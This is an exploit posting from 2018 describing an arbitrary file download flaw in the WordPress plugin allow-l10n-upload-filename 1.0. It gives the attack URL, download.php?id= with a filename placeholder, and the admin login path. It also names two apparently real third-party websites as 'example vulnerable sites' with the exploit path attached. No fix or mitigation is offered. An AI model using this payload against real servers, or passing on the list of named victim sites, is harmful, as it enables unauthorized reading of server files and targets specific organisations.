WordPress allow-l10n-upload-filename 1.0 Arbitrary File Download

`#################################################################################################  
  
# Exploit Title : WordPress allow-l10n-upload-filename 1.0 Plugins  
Arbitrary File Download Vulnerability  
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security  
Army  
# Date : 27/11/2018  
# Vendor Homepage : wordpress.org  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Low  
# Version Information : 1.0  
# Vulnerability Type :  
CWE-264 - [ Permissions, Privileges, and Access Controls ]  
CWE-200 - [ Information Exposure ] - CWE-23 - [ Relative Path Traversal ]  
CWE-98 - [ Improper Control of Filename for Include/Require Statement in  
PHP Program ('PHP Remote File Inclusion') ]  
# CxSecurity Exploit Link : cxsecurity.com/ascii/WLB-2018110222  
  
#################################################################################################  
  
WordPress allow-l10n-upload-filename is prone to a vulnerability that lets  
attackers to download arbitrary files because  
  
the application fails to sufficiently sanitize user-supplied input.  
  
An attacker can exploit this issue to download arbitrary files within the  
context of the webserver process.  
  
Information obtained may aid in further attacks.  
  
#################################################################################################  
  
# Admin Panel Login Path :  
  
/wp-login.php  
  
# Exploit :  
  
/wp-content/plugins/allow-l10n-upload-filename/download.php?id=[FILENAMEHERE]  
  
#################################################################################################  
  
# Example Vulnerable Sites =>  
  
[+]  
nonukes.or.kr/qksgor/wp-content/plugins/allow-l10n-upload-filename/download.php?id=[FILENAMEHERE]  
  
[+]  
kfhr.org/qhrjs/wp-content/plugins/allow-l10n-upload-filename/download.php?id=[FILENAMEHERE]  
  
#################################################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team  
  
#################################################################################################  
`